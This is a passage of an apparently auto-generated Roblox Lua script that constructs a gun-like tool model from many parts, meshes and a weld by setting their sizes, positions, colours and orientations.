  1722. Part110.Rotation = Vector3.new(-90, 0, 0)
  1723. Part110.Anchored = true
  1724. Part110.FormFactor = Enum.FormFactor.Custom
  1725. Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1726. Part110.CFrame = CFrame.new(34.5, 0.764503002, -13.585144, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1727. Part110.BottomSurface = Enum.SurfaceType.Smooth
  1728. Part110.TopSurface = Enum.SurfaceType.Smooth
  1729. Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1730. Part110.Position = Vector3.new(34.5, 0.764503002, -13.585144)
  1731. Part110.Orientation = Vector3.new(-90, 0, 0)
  1732. Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1733. BlockMesh111.Parent = Part110
  1734. BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
  1735. BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
  1736. Part112.Parent = Tool0
  1737. Part112.Material = Enum.Material.SmoothPlastic
  1738. Part112.BrickColor = BrickColor.new("Black")
  1739. Part112.Reflectance = 0.20000000298023
  1740. Part112.Anchored = true
  1741. Part112.FormFactor = Enum.FormFactor.Custom
  1742. Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1743. Part112.CFrame = CFrame.new(34.4963379, 1.60898495, -11.859252, 1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, 1)
  1744. Part112.BottomSurface = Enum.SurfaceType.Smooth
  1745. Part112.TopSurface = Enum.SurfaceType.Smooth
  1746. Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1747. Part112.Position = Vector3.new(34.4963379, 1.60898495, -11.859252)
  1748. Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1749. BlockMesh113.Parent = Part112
  1750. BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
  1751. BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
  1752. Part114.Parent = Tool0
  1753. Part114.Material = Enum.Material.SmoothPlastic
  1754. Part114.BrickColor = BrickColor.new("Black")
  1755. Part114.Reflectance = 0.20000000298023
  1756. Part114.Anchored = true
  1757. Part114.FormFactor = Enum.FormFactor.Custom
  1758. Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1759. Part114.CFrame = CFrame.new(34.6148682, 1.44223595, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1760. Part114.BottomSurface = Enum.SurfaceType.Smooth
  1761. Part114.TopSurface = Enum.SurfaceType.Smooth
  1762. Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1763. Part114.Position = Vector3.new(34.6148682, 1.44223595, -10.6295776)
  1764. Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1765. BlockMesh115.Parent = Part114
  1766. BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  1767. BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  1768. Part116.Parent = Tool0
  1769. Part116.Material = Enum.Material.SmoothPlastic
  1770. Part116.BrickColor = BrickColor.new("Black")
  1771. Part116.Reflectance = 0.20000000298023
  1772. Part116.Rotation = Vector3.new(-90, 0, 0)
  1773. Part116.Anchored = true
  1774. Part116.FormFactor = Enum.FormFactor.Custom
  1775. Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1776. Part116.CFrame = CFrame.new(34.4963379, 1.67563403, -9.32592583, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  1777. Part116.BottomSurface = Enum.SurfaceType.Smooth
  1778. Part116.TopSurface = Enum.SurfaceType.Smooth
  1779. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1780. Part116.Position = Vector3.new(34.4963379, 1.67563403, -9.32592583)
  1781. Part116.Orientation = Vector3.new(-89.9599991, 180, 180)
  1782. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1783. BlockMesh117.Parent = Part116
  1784. BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
  1785. BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
  1786. Part118.Parent = Tool0
  1787. Part118.Material = Enum.Material.SmoothPlastic
  1788. Part118.BrickColor = BrickColor.new("Black")
  1789. Part118.Reflectance = 0.20000000298023
  1790. Part118.Anchored = true
  1791. Part118.FormFactor = Enum.FormFactor.Custom
  1792. Part118.Size = Vector3.new(0.200000003, 0.311111033, 0.200000003)
  1793. Part118.CFrame = CFrame.new(34.5037842, 0.853371024, -11.4851685, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1794. Part118.BottomSurface = Enum.SurfaceType.Smooth
  1795. Part118.TopSurface = Enum.SurfaceType.Smooth
  1796. Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1797. Part118.Position = Vector3.new(34.5037842, 0.853371024, -11.4851685)
  1798. Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1799. BlockMesh119.Parent = Part118
  1800. BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
  1801. BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
  1802. Part120.Parent = Tool0
  1803. Part120.Material = Enum.Material.SmoothPlastic
  1804. Part120.BrickColor = BrickColor.new("Really black")
  1805. Part120.Reflectance = 0.20000000298023
  1806. Part120.Anchored = true
  1807. Part120.FormFactor = Enum.FormFactor.Custom
  1808. Part120.Size = Vector3.new(0.207407534, 0.200000003, 0.400004059)
  1809. Part120.CFrame = CFrame.new(34.5, 1.30527401, -10.0814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1810. Part120.BottomSurface = Enum.SurfaceType.Smooth
  1811. Part120.TopSurface = Enum.SurfaceType.Smooth
  1812. Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1813. Part120.Position = Vector3.new(34.5, 1.30527401, -10.0814819)
  1814. Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1815. BlockMesh121.Parent = Part120
  1816. BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
  1817. BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
  1818. Part122.Parent = Tool0
  1819. Part122.Material = Enum.Material.SmoothPlastic
  1820. Part122.BrickColor = BrickColor.new("Black")
  1821. Part122.Reflectance = 0.20000000298023
  1822. Part122.Anchored = true
  1823. Part122.FormFactor = Enum.FormFactor.Custom
  1824. Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1825. Part122.CFrame = CFrame.new(34.5999756, 1.40903294, -10.6370239, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1826. Part122.BottomSurface = Enum.SurfaceType.Smooth
  1827. Part122.TopSurface = Enum.SurfaceType.Smooth
  1828. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1829. Part122.Position = Vector3.new(34.5999756, 1.40903294, -10.6370239)
  1830. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1831. BlockMesh123.Parent = Part122
  1832. BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
  1833. BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
  1834. Part124.Parent = Tool0
  1835. Part124.Material = Enum.Material.SmoothPlastic
  1836. Part124.BrickColor = BrickColor.new("Black")
  1837. Part124.Anchored = true
  1838. Part124.FormFactor = Enum.FormFactor.Custom
  1839. Part124.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1840. Part124.CFrame = CFrame.new(34.4963379, 1.90903294, -11.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1841. Part124.BottomSurface = Enum.SurfaceType.Smooth
  1842. Part124.TopSurface = Enum.SurfaceType.Smooth
  1843. Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1844. Part124.Position = Vector3.new(34.4963379, 1.90903294, -11.1999435)
  1845. Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1846. BlockMesh125.Parent = Part124
  1847. BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
  1848. BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
  1849. Part126.Parent = Tool0
  1850. Part126.Material = Enum.Material.SmoothPlastic
  1851. Part126.BrickColor = BrickColor.new("Black")
  1852. Part126.Anchored = true
  1853. Part126.FormFactor = Enum.FormFactor.Custom
  1854. Part126.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  1855. Part126.CFrame = CFrame.new(34.4963379, 1.86826003, -11.5814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1856. Part126.BottomSurface = Enum.SurfaceType.Smooth
  1857. Part126.TopSurface = Enum.SurfaceType.Smooth
  1858. Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1859. Part126.Position = Vector3.new(34.4963379, 1.86826003, -11.5814819)
  1860. Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1861. SpecialMesh127.Parent = Part126
  1862. SpecialMesh127.MeshId = "http://www.roblox.com/asset/?id=3270017"
  1863. SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  1864. SpecialMesh127.MeshType = Enum.MeshType.FileMesh
  1865. SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  1866. Part128.Parent = Tool0
  1867. Part128.Material = Enum.Material.SmoothPlastic
  1868. Part128.BrickColor = BrickColor.new("Black")
  1869. Part128.Reflectance = 0.20000000298023
  1870. Part128.Rotation = Vector3.new(-90, 0, 0)
  1871. Part128.Anchored = true
  1872. Part128.FormFactor = Enum.FormFactor.Custom
  1873. Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.896296263)
  1874. Part128.CFrame = CFrame.new(34.5, 1.14975703, -13.6740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1875. Part128.BottomSurface = Enum.SurfaceType.Smooth
  1876. Part128.TopSurface = Enum.SurfaceType.Smooth
  1877. Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1878. Part128.Position = Vector3.new(34.5, 1.14975703, -13.6740723)
  1879. Part128.Orientation = Vector3.new(-90, 0, 0)
  1880. Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1881. BlockMesh129.Parent = Part128
  1882. BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1883. BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1884. Part130.Parent = Tool0
  1885. Part130.Material = Enum.Material.SmoothPlastic
  1886. Part130.Reflectance = 0.20000000298023
  1887. Part130.Anchored = true
  1888. Part130.FormFactor = Enum.FormFactor.Custom
  1889. Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.340744704)
  1890. Part130.CFrame = CFrame.new(34.5999756, 1.40512502, -11.2370005, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1891. Part130.BottomSurface = Enum.SurfaceType.Smooth
  1892. Part130.TopSurface = Enum.SurfaceType.Smooth
  1893. Part130.Position = Vector3.new(34.5999756, 1.40512502, -11.2370005)
  1894. BlockMesh131.Parent = Part130
  1895. BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
  1896. BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
  1897. Part132.Parent = Tool0
  1898. Part132.Material = Enum.Material.SmoothPlastic
  1899. Part132.BrickColor = BrickColor.new("Black")
  1900. Part132.Reflectance = 0.20000000298023
  1901. Part132.Anchored = true
  1902. Part132.FormFactor = Enum.FormFactor.Custom
  1903. Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1904. Part132.CFrame = CFrame.new(34.4963379, 1.64609396, -11.9481201, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1905. Part132.BottomSurface = Enum.SurfaceType.Smooth
  1906. Part132.TopSurface = Enum.SurfaceType.Smooth
  1907. Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1908. Part132.Position = Vector3.new(34.4963379, 1.64609396, -11.9481201)
  1909. Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1910. BlockMesh133.Parent = Part132
  1911. BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
  1912. BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
  1913. Part134.Parent = Tool0
  1914. Part134.Material = Enum.Material.SmoothPlastic
  1915. Part134.BrickColor = BrickColor.new("Black")
  1916. Part134.Rotation = Vector3.new(0, 0, -135)
  1917. Part134.Anchored = true
  1918. Part134.FormFactor = Enum.FormFactor.Custom
  1919. Part134.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1920. Part134.CFrame = CFrame.new(34.5302734, 1.86215794, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
  1921. Part134.BottomSurface = Enum.SurfaceType.Smooth
  1922. Part134.TopSurface = Enum.SurfaceType.Smooth
  1923. Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1924. Part134.Position = Vector3.new(34.5302734, 1.86215794, -11.2036743)
  1925. Part134.Orientation = Vector3.new(0, 0, -135)
  1926. Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1927. BlockMesh135.Parent = Part134
  1928. BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1929. BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1930. Part136.Parent = Tool0
  1931. Part136.Material = Enum.Material.SmoothPlastic
  1932. Part136.BrickColor = BrickColor.new("Black")
  1933. Part136.Reflectance = 0.20000000298023
  1934. Part136.Rotation = Vector3.new(0, 0, -90)
  1935. Part136.Anchored = true
  1936. Part136.FormFactor = Enum.FormFactor.Custom
  1937. Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1938. Part136.CFrame = CFrame.new(34.4481201, 1.67563403, -9.34069824, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1939. Part136.BottomSurface = Enum.SurfaceType.Smooth
  1940. Part136.TopSurface = Enum.SurfaceType.Smooth
  1941. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1942. Part136.Position = Vector3.new(34.4481201, 1.67563403, -9.34069824)
  1943. Part136.Orientation = Vector3.new(0, 0, -90)
  1944. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1945. SpecialMesh137.Parent = Part136
  1946. SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1947. SpecialMesh137.MeshType = Enum.MeshType.Wedge
  1948. SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1949. Part138.Parent = Tool0
  1950. Part138.Material = Enum.Material.SmoothPlastic
  1951. Part138.BrickColor = BrickColor.new("Black")
  1952. Part138.Reflectance = 0.20000000298023
  1953. Part138.Rotation = Vector3.new(-90, 0, 0)
  1954. Part138.Anchored = true
  1955. Part138.FormFactor = Enum.FormFactor.Custom
  1956. Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1957. Part138.CFrame = CFrame.new(34.5593262, 1.67563403, -9.35180378, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  1958. Part138.BottomSurface = Enum.SurfaceType.Smooth
  1959. Part138.TopSurface = Enum.SurfaceType.Smooth
  1960. Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1961. Part138.Position = Vector3.new(34.5593262, 1.67563403, -9.35180378)
  1962. Part138.Orientation = Vector3.new(-89.9599991, 180, 180)
  1963. Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1964. BlockMesh139.Parent = Part138
  1965. BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1966. BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1967. Part140.Parent = Tool0
  1968. Part140.Material = Enum.Material.SmoothPlastic
  1969. Part140.BrickColor = BrickColor.new("Black")
  1970. Part140.Reflectance = 0.20000000298023
  1971. Part140.Rotation = Vector3.new(90, 0, 180)
  1972. Part140.Anchored = true
  1973. Part140.FormFactor = Enum.FormFactor.Custom
  1974. Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1975. Part140.CFrame = CFrame.new(34.4333496, 1.67563403, -9.35180378, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  1976. Part140.BottomSurface = Enum.SurfaceType.Smooth
  1977. Part140.TopSurface = Enum.SurfaceType.Smooth
  1978. Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1979. Part140.Position = Vector3.new(34.4333496, 1.67563403, -9.35180378)
  1980. Part140.Orientation = Vector3.new(89.9599991, 0, -180)
  1981. Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1982. BlockMesh141.Parent = Part140
  1983. BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1984. BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1985. Part142.Parent = Tool0
  1986. Part142.Material = Enum.Material.SmoothPlastic
  1987. Part142.BrickColor = BrickColor.new("Really black")
  1988. Part142.Reflectance = 0.20000000298023
  1989. Part142.Anchored = true
  1990. Part142.FormFactor = Enum.FormFactor.Custom
  1991. Part142.Size = Vector3.new(0.207407445, 0.200000003, 0.200000003)
  1992. Part142.CFrame = CFrame.new(34.5, 1.30527401, -10.3259258, 0.999998569, 1.91068229e-15, -4.37113172e-08, -1.91068059e-15, 0.999998331, -3.55271368e-15, 4.37112746e-08, 0, 0.999997377)
  1993. Part142.BottomSurface = Enum.SurfaceType.Smooth
  1994. Part142.TopSurface = Enum.SurfaceType.Smooth
  1995. Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1996. Part142.Position = Vector3.new(34.5, 1.30527401, -10.3259258)
  1997. Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1998. SpecialMesh143.Parent = Part142
  1999. SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
  2000. SpecialMesh143.MeshType = Enum.MeshType.Wedge
  2001. SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
  2002. Part144.Parent = Tool0
  2003. Part144.Material = Enum.Material.SmoothPlastic
  2004. Part144.BrickColor = BrickColor.new("Black")
  2005. Part144.Reflectance = 0.20000000298023
  2006. Part144.Anchored = true
  2007. Part144.FormFactor = Enum.FormFactor.Custom
  2008. Part144.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2009. Part144.CFrame = CFrame.new(34.4963379, 1.60532296, -9.10735989, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2010. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2011. Part144.TopSurface = Enum.SurfaceType.Smooth
  2012. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2013. Part144.Position = Vector3.new(34.4963379, 1.60532296, -9.10735989)
  2014. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2015. BlockMesh145.Parent = Part144
  2016. BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
  2017. BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
  2018. Part146.Parent = Tool0
  2019. Part146.Material = Enum.Material.SmoothPlastic
  2020. Part146.BrickColor = BrickColor.new("Black")
  2021. Part146.Reflectance = 0.20000000298023
  2022. Part146.Rotation = Vector3.new(180, 0, -90)
  2023. Part146.Anchored = true
  2024. Part146.FormFactor = Enum.FormFactor.Custom
  2025. Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2026. Part146.CFrame = CFrame.new(34.4630127, 1.67563403, -9.39257813, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
  2027. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2028. Part146.TopSurface = Enum.SurfaceType.Smooth
  2029. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2030. Part146.Position = Vector3.new(34.4630127, 1.67563403, -9.39257813)
  2031. Part146.Orientation = Vector3.new(0, -180, 90)
  2032. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2033. SpecialMesh147.Parent = Part146
  2034. SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2035. SpecialMesh147.MeshType = Enum.MeshType.Wedge
  2036. SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2037. Part148.Parent = Tool0
  2038. Part148.Material = Enum.Material.SmoothPlastic
  2039. Part148.BrickColor = BrickColor.new("Black")
  2040. Part148.Rotation = Vector3.new(180, 0, 90)
  2041. Part148.Anchored = true
  2042. Part148.FormFactor = Enum.FormFactor.Custom
  2043. Part148.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
  2044. Part148.CFrame = CFrame.new(34.3963623, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  2045. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2046. Part148.TopSurface = Enum.SurfaceType.Smooth
  2047. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2048. Part148.Position = Vector3.new(34.3963623, 1.42001903, -9.67034817)
  2049. Part148.Orientation = Vector3.new(0, -180, -90)
  2050. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2051. BlockMesh149.Parent = Part148
  2052. BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  2053. BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  2054. Part150.Parent = Tool0
  2055. Part150.Material = Enum.Material.SmoothPlastic
  2056. Part150.BrickColor = BrickColor.new("Black")
  2057. Part150.Rotation = Vector3.new(-15, 0, 0)
  2058. Part150.Anchored = true
  2059. Part150.FormFactor = Enum.FormFactor.Custom
  2060. Part150.Size = Vector3.new(0.200000003, 0.207407385, 0.200000003)
  2061. Part150.CFrame = CFrame.new(34.5037842, 0.922460973, -11.7921143, 1, 0, 0, 0, 0.965925813, 0.258819044, 0, -0.258819044, 0.965925813)
  2062. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2063. Part150.TopSurface = Enum.SurfaceType.Smooth
  2064. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2065. Part150.Position = Vector3.new(34.5037842, 0.922460973, -11.7921143)
  2066. Part150.Orientation = Vector3.new(-15, 0, 0)
  2067. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2068. BlockMesh151.Parent = Part150
  2069. BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
  2070. BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
  2071. Part152.Parent = Tool0
  2072. Part152.Material = Enum.Material.SmoothPlastic
  2073. Part152.BrickColor = BrickColor.new("Black")
  2074. Part152.Reflectance = 0.20000000298023
  2075. Part152.Rotation = Vector3.new(-180, 0, 0)
  2076. Part152.Anchored = true
  2077. Part152.FormFactor = Enum.FormFactor.Custom
  2078. Part152.Size = Vector3.new(0.200000003, 0.629629076, 0.200000003)
  2079. Part152.CFrame = CFrame.new(34.5, 0.716408014, -11.9296265, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2080. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2081. Part152.TopSurface = Enum.SurfaceType.Smooth
  2082. Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2083. Part152.Position = Vector3.new(34.5, 0.716408014, -11.9296265)
  2084. Part152.Orientation = Vector3.new(0, 180, 180)
  2085. Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2086. SpecialMesh153.Parent = Part152
  2087. SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
  2088. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2089. SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
  2090. Part154.Parent = Tool0
  2091. Part154.Material = Enum.Material.SmoothPlastic
  2092. Part154.BrickColor = BrickColor.new("Black")
  2093. Part154.Reflectance = 0.20000000298023
  2094. Part154.Anchored = true
  2095. Part154.FormFactor = Enum.FormFactor.Custom
  2096. Part154.Size = Vector3.new(0.200000003, 0.659259379, 0.24444437)
  2097. Part154.CFrame = CFrame.new(34.5, 0.590430021, -12.3666382, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2098. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2099. Part154.TopSurface = Enum.SurfaceType.Smooth
  2100. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2101. Part154.Position = Vector3.new(34.5, 0.590430021, -12.3666382)
  2102. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2103. SpecialMesh155.Parent = Part154
  2104. SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
  2105. SpecialMesh155.MeshType = Enum.MeshType.Wedge
  2106. SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
  2107. Part156.Parent = Tool0
  2108. Part156.Material = Enum.Material.SmoothPlastic
  2109. Part156.BrickColor = BrickColor.new("Black")
  2110. Part156.Reflectance = 0.20000000298023
  2111. Part156.Rotation = Vector3.new(-90, 0, 0)
  2112. Part156.Anchored = true
  2113. Part156.FormFactor = Enum.FormFactor.Custom
  2114. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2115. Part156.CFrame = CFrame.new(34.5444336, 1.67563403, -9.31847382, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  2116. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2117. Part156.TopSurface = Enum.SurfaceType.Smooth
  2118. Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2119. Part156.Position = Vector3.new(34.5444336, 1.67563403, -9.31847382)
  2120. Part156.Orientation = Vector3.new(-89.9599991, 180, 180)
  2121. Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2122. BlockMesh157.Parent = Part156
  2123. BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2124. BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2125. Part158.Parent = Tool0
  2126. Part158.Material = Enum.Material.SmoothPlastic
  2127. Part158.BrickColor = BrickColor.new("Black")
  2128. Part158.Reflectance = 0.20000000298023
  2129. Part158.Rotation = Vector3.new(-90, 0, 0)
  2130. Part158.Anchored = true
  2131. Part158.FormFactor = Enum.FormFactor.Custom
  2132. Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2133. Part158.CFrame = CFrame.new(34.4296875, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2134. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2135. Part158.TopSurface = Enum.SurfaceType.Smooth
  2136. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2137. Part158.Position = Vector3.new(34.4296875, 1.67563403, -12.1740723)
  2138. Part158.Orientation = Vector3.new(-90, 0, 0)
  2139. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2140. BlockMesh159.Parent = Part158
  2141. BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  2142. BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  2143. ManualWeld160.Name = "Part-to-AimPart Strong Joint"
  2144. ManualWeld160.Parent = Part158
  2145. ManualWeld160.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2146. ManualWeld160.C1 = CFrame.new(0.166648865, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  2147. ManualWeld160.Part0 = Part158
  2148. ManualWeld160.Part1 = Part237
  2149. Part161.Parent = Tool0
  2150. Part161.Material = Enum.Material.SmoothPlastic
  2151. Part161.BrickColor = BrickColor.new("Black")
  2152. Part161.Rotation = Vector3.new(-180, 0, 0)
  2153. Part161.Anchored = true
  2154. Part161.FormFactor = Enum.FormFactor.Custom
  2155. Part161.Size = Vector3.new(0.200000003, 0.200000003, 1.97037506)
  2156. Part161.CFrame = CFrame.new(34.5, 1.26816404, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2157. Part161.BottomSurface = Enum.SurfaceType.Smooth
  2158. Part161.TopSurface = Enum.SurfaceType.Smooth
  2159. Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2160. Part161.Position = Vector3.new(34.5, 1.26816404, -9.98516846)
  2161. Part161.Orientation = Vector3.new(0, 180, 180)
  2162. Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2163. BlockMesh162.Parent = Part161
  2164. BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2165. BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2166. Part163.Parent = Tool0
  2167. Part163.Material = Enum.Material.SmoothPlastic
  2168. Part163.BrickColor = BrickColor.new("Black")
  2169. Part163.Reflectance = 0.20000000298023
  2170. Part163.Rotation = Vector3.new(0, 0, -90)
  2171. Part163.Anchored = true
  2172. Part163.FormFactor = Enum.FormFactor.Custom
  2173. Part163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
